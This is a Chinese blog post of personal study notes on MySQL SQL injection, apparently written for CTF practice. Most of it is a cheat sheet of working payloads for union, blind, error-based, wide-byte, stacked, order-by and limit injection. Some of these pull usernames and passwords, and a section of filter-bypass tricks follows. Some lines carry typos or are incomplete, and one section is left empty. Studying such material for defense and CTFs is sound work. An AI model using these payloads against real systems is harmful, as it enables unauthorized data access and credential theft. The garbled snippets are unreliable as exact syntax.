0X01前言

重新认知梳理一下知识,再打牢一下基础.,也方便以后复习

用了很多别的师傅总结过了的东西,我会附上链接,如有侵权什么的,请师傅们联系我删除,感谢师傅们QAQ

0X02原理

没有对用户的输入进行严格的过滤,限制,导致一些恶意语句与后端的sql语句拼接,使恶意的语句被服务器解析。

0X03分类

联合注入,盲注(时间盲注,布尔盲注),报错注入,宽字节注入,二次注入,堆叠注入,无列名注入,order by 注入,between注入,limit注入,http头部注入….

0X04联合注入

有回显的时候首先考虑的都是联合注入吧

information_schema

确定注入点,有回显的时候一般可以通过报错与正常页面对比判断注入点。(?id=1’)

步骤:

?id=1 order by 5#  //order by查询字段数 5就是字段数,如果查询正确,页面返回正常
?id=0 union select 1,2,3,4,5# //找到可以回显的字段 以5字段为例 默认返回一条数据,所以前面不能查到数据,以0为例代表不存在的数据
?id=o union select 1,2,database(),4,5# //爆库,在回显的字段位置进行查询(以3为例)
?id=0 union select 1,2,group_concat(table_name),4,5 from information_schema.tables where table_schema=database() limit 0,1# //爆表名 group_concat将多行转为单行回显
?id=0 union select 1,2,group_concat(column_name),3,4 from information.columns where table_schema='' and table_name='' limit 0,1# //爆列名
?id=0 union select 1, 2,group_concat(列名),4,5 from 库名.表名 limit 0,1# //爆字段
0X05盲注
0X05-1 时间盲注

原理:往往页面并没有回显,但可以利用例如sleep()函数使页面响应延迟来判断注入成功与否。我平常使用的函数sleep()。还有一些复杂运算的函数以及benchmark()也可以使用。

?id=0 or if(length(database())>1,sleep(5),1)#

跑脚本来的更快一些。写脚本为了快捷方便一般会采用

 if(ascii(substr()))  //二分法
0X05-2布尔盲注

原理:注入成功与失败有不同的两种回显,于是可以依靠正确回显的内容作为注入成功依据,写脚本也需要特别注意。

写脚本也是使用ascii码+二分法进行盲注。

if(ascii(substr()))

还可以使用ord函数,将字符转换成ASCII进行查询

?id=1' and ord(substr(database(),1,1))=65# //A的ascii码为65

还有left()与regexp()

left(database(),1)>’s’//从左截取database名的前一位
select user() regexp('^ro')//正则判
?id=1'>(length(database())={})#断
0X06报错注入

原理:

通过特殊函数错误使用,输出错误信息的同时带出我们想要非法访问的信息

MrYunen 师傅的博客里发现了许多可以被我们使用的函数,此处参考一下师傅的博客。

1.exp()——->返回e的x方结果

报错原理:mysql记录的double数值有限,超限则报错

exp(~(select * from(select user())a))   //讲字符串处理变成大整数,放入exp函数中,超过数组范围报错

2.floo() 与 rand()

floor(rand(0)*2),同时配合group by 与 concat()

select count(*) from information_schema.tables group by concat(version(), floor(rand(0)*2))

union select count(*),2,concat(':',(select database()),':',floor(rand()*2))as a from information_schema.tables group by a

要注意的一点:数据表需要三条及以上数据才能报错……..

原理去看一下师傅的blog吧:https://xz.aliyun.com/t/7169#toc-18

3.updatexml()

updatexml(XML_document, XPath_string, new_value);

 

一般在xpath参数位置写入我们要查询的内容

updatexml(1,concat(0x7e,version(),0x7e),1)

 

原理:由于参数格式不正确产生错误,Xpath_string需要Xpath格式的字符串,但是我们用了concat将version()函数转为字符串,不符合格式报错

cooncat被ban了  可以用这个 make_set

例如:updatexml(1,make_set(3,'~',(select group_concat(column_name) from information_schema.columns where table_name="users")),1)#

4.extractvalue()

and (extractvalue(1,concat(0x7e,(sql语句)),0x7e))

但是这个方法只能爆出32位,如果要查询的内容太长,可以引用mid()函数。

例如:

' and extractvalue(1,concat(0x5c,mid((select group_concat(username,'|',password,'|',email) from manager),29,60)))

5.还有一些几何函数:直接摘用师傅blog里的

GeometryCollection():id=1 AND GeometryCollection((select * from (select* from(select user())a)b)) 
polygon():id=1 AND polygon((select * from(select * from(select user())a)b)) 
multipoint():id=1 AND multipoint((select * from(select * from(select user())a)b)) multilinestring():id=1 AND multilinestring((select * from(select * from(select user())a)b)) linestring():id=1 AND LINESTRING((select * from(select * from(select user())a)b)) 
multipolygon() :id=1 AND multipolygon((select * from(select * from(select user())a)b))

6.不存在的函数

7.bigint数值操作:

原理:当mysql数据库的某些边界数值进行数值运算时,会报错

select !(select * from(select user())a)-~0

8.name_const() 只能查库版本

select * from(select name_const(version(),0x1),name_const(version(),0x1))a

 

 

9.uuid相关的函数

版本:8.0.

SELECT UUID_TO_BIN((SELECT password FROM users WHERE id=1)); 
SELECT BIN_TO_UUID((SELECT password FROM users WHERE id=1));

 

10.jojin using()注列名

select * from(select * from users a join (select * from users)b)c; 
select * from(select * from users a join (select * from users)b using(username))c; 
select * from(select * from users a join (select * from users)b using(username,password))c

 

11.GTID相关:

select gtid_subset(user(),1); 
select gtid_subset(hex(substr((select * from users limit 1,1),1,1)),1);
select gtid_subtract((select * from(select user())a),1);
0X07宽字节注入

原理:有些sql语句会做一些转义,比如addslashes()函数会多一个反斜杠\,这是一个特例,那就是当数据库的编码为GBK时,反斜杠\的GBK编码为%5c,%df%5c是繁体字 運。可以利用这个特例来逃逸单引号

?id=1%df%27%23(?id=1%df'#)
转义后得:?id=1%df%5c%27%23
最终结果:?id=1運'#,成功逃逸出单引号,闭合前面的语句
0X08二次注入

原理:

0X09堆叠注入

原理:mysql可以执行多条语句,多语句中用   ;  隔开

条件:调用mysqli_multi_query()函数 

一般的mysqli_ query()函数仅支持一条查询

堆叠注入可以配合盲注啥的一起用,看实际环境

0';show tables#  //2019强网杯随便注

2019强网杯随便注wp

0X10无列名注入

考虑:order by盲注,limit盲注,子查询

还有在师傅博客上学到的select盲注  传送门

(select 'admin','admin')>(select * from users limit 1)

 

 

0X11order by 注入

参考一下这里

order by 在sql中的查询方法

select * from 表名 order by 列名(或者数字) asc;升序(默认升序)
select * from 表名 order by 列名(或者数字) desc;降序

如果用数字代替列名,得知道列名位于第几列。

0X11-1 配合union盲注
username=admin' or union select 1,2,'字符串' order by 3 //举例:例如password在第三列,那么字符串就会与password比较。

师傅提到 最后使用binary,因为order by 比较时不区分大小写。

username=admin' or union select 1,2,binary '字符串' order by 3;

注意:如果我们union查询的字符串比password小的话,我们构造的 1,2,a就会成为第一列,那么在源码对用户名做对比的时候,就会返回username error!,如果union查询的字符串比password大,那么正确的数据就会是第一列,那么页面就会返回password error!.

0X11-2配合if()盲注
order by if(1=1,id,username);//前提是知道列名 1=1处替换为我们的表达式
order by if(1=1,1,(select id from information_schema.tables));//不知道列名时的盲注payload //如果表达式为false时,sql语句会报ERROR 1242 (21000): Subquery returns more than 1 row的错误,导致查询内容为空,如果表达式为true是,则会返回正常的页面。 

注意:此处数字不能代替列名,原因:if语句返回的是字符类型,不是整型!

再写一个填充表达式后的payload

order by if((select ascii(substr(table_name,1,1)) from information_schema.tables limit 0,1)<=128,id,username);
0X11-3配合时间盲注
select * from ha order by if(1=1,1,sleep(1)); #正常时间
select * from ha order by if(1=2,1,sleep(1)); #有延迟

填充表达式之后和上面的差不多

注意:师傅提到过 延迟时间=sleep(1)的秒数*所查询数据条数 ;写脚本时使用timeout参数来避免延迟时间过长

0X11-4配合rand()盲注

原理:order by rand(true)与 order by rand(false)排序的结果不同,那么返回的结果也不同,可以利用这一点就行盲注。

order by rand(ascii(mid((select database()),1,1))>96)
0X11-5配合报错注入

参考这里

0X12between注入

原理:between and  会选取介于两个值之间的数据范围,具有比较的功能

可以配合截取进行盲注(支持16进制)

substr(database(),1,1) between 'a' and 'd';
mid(database(),1,1) between 'a' and 'd' ; 

当截取函数被过滤时

select exp between min and max

参考这里

当exp为字符串,进行比较时取值的区间要注意,只会包含一边的值,也就是[b,c)

当单引号被过滤时

采用16进制绕过

select database() between 0x61 and 0x7a;//select database() between 'a' and 'z';
0X13limit注入

参考这里

适用于MySQL 5.x中,在limit语句后面的注入

源码还是贴一下吧,下次复习也好看一点,都是从p牛那里贴过来的

SELECT field FROM table WHERE id > 0 ORDER BY id LIMIT injection_point
```   上面的语句包含了ORDER BY,MySQL当中UNION语句不能在ORDER BY的后面,否则利用UNION很容易就可以读取数据了,看看在MySQL 5中的SELECT语法: ```
SELECT 
    [ALL | DISTINCT | DISTINCTROW ] 
      [HIGH_PRIORITY] 
      [STRAIGHT_JOIN] 
      [SQL_SMALL_RESULT] [SQL_BIG_RESULT] [SQL_BUFFER_RESULT] 
      [SQL_CACHE | SQL_NO_CACHE] [SQL_CALC_FOUND_ROWS] 
    select_expr [, select_expr ...] 
    [FROM table_references 
    [WHERE where_condition] 
    [GROUP BY {col_name | expr | position} 
      [ASC | DESC], ... [WITH ROLLUP]] 
    [HAVING where_condition] 
    [ORDER BY {col_name | expr | position} 
      [ASC | DESC], ...] 
    [LIMIT {[offset,] row_count | row_count OFFSET offset}] 
    [PROCEDURE procedure_name(argument_list)] 
    [INTO OUTFILE 'file_name' export_options 
      | INTO DUMPFILE 'file_name' 
      | INTO var_name [, var_name]] 
    [FOR UPDATE | LOCK IN SHARE MODE]]

注意:在LIMIT后面可以跟两个函数,PROCEDURE 和 INTO,INTO除非有写入shell的权限,否则是无法利用的

时间盲注:

mysql> select * from users where id>1 order by id limit 1,1 procedure analyse(extractvalue(rand(),concat(0x3a,version())),1); 
ERROR 1105 (HY000): XPATH syntax error: ':5.5.53'

报错注入:

select * from users where id>1 order by id limit 1,1 procedure analyse((select extractvalue
(rand(),concat(0x3a,(IF(MID(version(),1,1) like 5,BENCHMARK(5000000,SHA1(1)),1))))),1);

解释一下benchmark函数

benchmark函数有两个参数,第一个是执行次数,第二个是要测试的函数或者表达式 
比如 benchmark(10000000,sha1(1)) 意思是执行sha1函数10000000次 使mysql运算量增大 导致延时

extractvalue这个函数也是延时的效果

0X14Mysql约束攻击

参考这里     这里

直接一字不拉的贴上师傅总结的,总结的太过于清晰。如果师傅觉得不妥,联系我立马删除

在SQL中执行字符串处理时,字符串末尾的空格符将会被删除。换句话说“vampire”等同于“vampire ”,对于绝大多数情况来说都是成立的(诸如WHERE子句中的字符串或INSERT语句中的字符串)
在mysql数据库中当插入某个字段的值超过了预设的长度,mysql会自动造成截断.

mysql>  create table user(id int primary key,user varchar(10),pwd varchar(20));
Query OK, 0 rows affected (0.38 sec)

mysql> insert into user value(1,'admin','123');
Query OK, 1 row affected (0.00 sec)

mysql> insert into user value(2,'admin          ','456');
Query OK, 1 row affected, 1 warning (0.00 sec)

mysql> select * from user;
+----+------------+------+
| id | user       | pwd  |
+----+------------+------+
|  2 | admin      | 456  |
|  1 | admin      | 123  |
+----+------------+------+
2 rows in set (0.00 sec)

mysql> select length(user) from user;
+--------------+
| length(user) |
+--------------+
|           10 |
|            5 |
+--------------+
2 rows in set (0.00 sec)
长度是不一样的,但是在受影响的版本中,id=2的user值admin          在前端登录处登录并且在后端验证中,admin
是等同id=1的user值admin的.
0X15子查询

参考一下这里

(子查询之间直接通过>、<、=来进行判断)

0X16奇技淫巧

一些绕过手法在这里

有必要贴一张图

一些bypass方法

ban掉空格:

/**/,/*!xxx*/(可以利用一个*/闭合多个/*!),%09, %0a, %0b, %0c, %0d, %a0,%20
改用+号拼接语句
括号嵌套:::例如   select user() from ---->select(user())froom

and或or被过滤 

1.双写 
2.逻辑运算符 && || ^ 
3.拼接=号 例如: ?id=1=(.....)

逗号被过滤

1.join语句代替  
2.改用盲注
3.substr(data from 1 for 1)====substr(data,1,1)   
   limit 9 offset 4 ====== limit 9,4

 

函数被过滤

1.可以考虑双写和一些上面提及的方法
2.寻找可替换的函数
leep()<==>benchmark()
concat_ws()<==>group_concat()//还是有区别的,但是效果一致
mid()、substr() <==> substring()
if语句可替换为  case when(条件) then 代码  else 代码 end  代码
例如:
select case when substring((select user()) from {0} for 1)={1} then sleep(5) else 1 end ==== if(substring((select user()) from {0} for 1)={1},sleep(5),1)
*
information_schema  === sys.schema_auto_increment_columns   版本要求 mysql5.7+
information_schema ===  $schema_flattened_keys ===  sys.schema_table_statistics  也要求 5.7+
(当information_schema.tables被ban,一般也无法得到列名information_schema.columns  可直接考虑无列名注入)
*
handle可以代替select 查询:
handler users open as yunensec; #指定数据表进行载入并将返回句柄重命名
handler yunensec read first; #读取指定表/句柄的首行数据
handler yunensec read next; #读取指定表/句柄的下一行数据
handler yunensec read next; #读取指定表/句柄的下一行数据
...
handler yunensec close; #关闭句柄

  \’   被过滤(摘自Smile师傅的博客

hex编码
SELECT password FROM Users WHERE username = 0x61646D696E

char编码
SELECT FROM Users WHERE username = CHAR(97, 100, 109, 105, 110)

%2527
主要绕过magic_quotes_gpc过滤,因为%25解码为%,结合后面的27也就是%27也就是',所以成功绕过过滤。

正则回溯bypss

PDO场景注入

堆叠注入配合预处理

0X17参考:

https://www.smi1e.top/sql%E6%B3%A8%E5%85%A5%E7%AC%94%E8%AE%B0

https://mp.weixin.qq.com/s/fSBZPkO0-HNYfLgmYWJKCg

https://xz.aliyun.com/t/7169

https://www.jianshu.com/p/f2611257a292

https://github.com/CHYbeta/Web-Security-Learning#sql%E6%B3%A8%E5%85%A5

https://skysec.top/2017/07/19/sql%E6%B3%A8%E5%85%A5%E7%9A%84%E4%B8%80%E4%BA%9B%E6%8A%80%E5%B7%A7%E5%8E%9F%E7%90%86/

 


1 条评论

不愿透漏姓名的李某人 · 2020年8月4日 下午5:24

请问是M神本人吗?

发表评论

电子邮件地址不会被公开。 必填项已用*标注